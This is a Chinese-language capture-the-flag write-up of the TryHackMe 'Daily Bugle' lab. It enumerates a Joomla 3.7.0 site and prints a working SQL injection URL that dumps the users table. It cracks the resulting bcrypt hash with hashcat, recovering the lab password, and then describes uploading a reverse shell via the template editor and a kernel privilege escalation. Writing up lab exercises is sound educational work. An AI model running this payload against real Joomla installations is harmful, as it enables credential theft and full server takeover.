tryhackme-Daily Bugle
靶场链接:https://tryhackme.com/room/dailybugle
枚举端口
nmap -sV -p- -vv ip
直接访问网址,就可以知道第一题是什么了
通过dirsearch搜索,可以看到README.txt,得知是Joomla cms 3.7,第一次看到过该框架。
该框架有很多版本。目前已知3.7,但不知道3.7.x。可以使用msf的exploit模块查看版本auxiliary/scanner/http/joomla_version
所以第二题的问题就出来了
看了一下msf该模块的代码,原理就是访问以下路径,看版本
administrator/manifests/files/joomla.xml
language/en-GB/en-GB.xml
templates/system/css/system.css
media/system/js/mootools-more.js
language/en-GB/en-GB.ini
htaccess.txt
language/en-GB/en-GB.com_media.ini
接着使用搜索漏洞
searchsploit Joomla 3.7.0
查看后发现是sql注入
但由于在国内,使用sqlmap太卡了,于是手工注入。
子查询结果不能多行,不能出现单引号。
最后一想,看一下开源源码,发现直接去#__users
表查password
就可以了
http://10.10.228.39/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT+6600+FROM(SELECT+COUNT(*),CONCAT(0x7e,(select+password+from+%23__users+limit+0,1),0x7e,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)
看着像hash,于是识别一下,由于在分析源码时,看到了bcrpt,所以就可以用hashcat跑了
hashid '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm'
hashcat -m 3200 -a 0 --force '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm' /usr/share/wordlists/rockyou.txt
跑了9分钟,得到明文spiderman123
,第三个答案也有了
用户名也可以通过sql注入暴出来
jonah
然后登录后台,在templates功能处,发现可以直接编辑php文件,于是上传反弹shell
再访问
得到webshell
运行linepeas.sh一看,可以发现内核很老了,用脏牛或2021-4043都能一下提权到root。然后user.txt和root.txt就获取了
本文来自博客园,作者:Jarwu,转载请注明原文链接:https://www.cnblogs.com/jarwu/p/17136425.html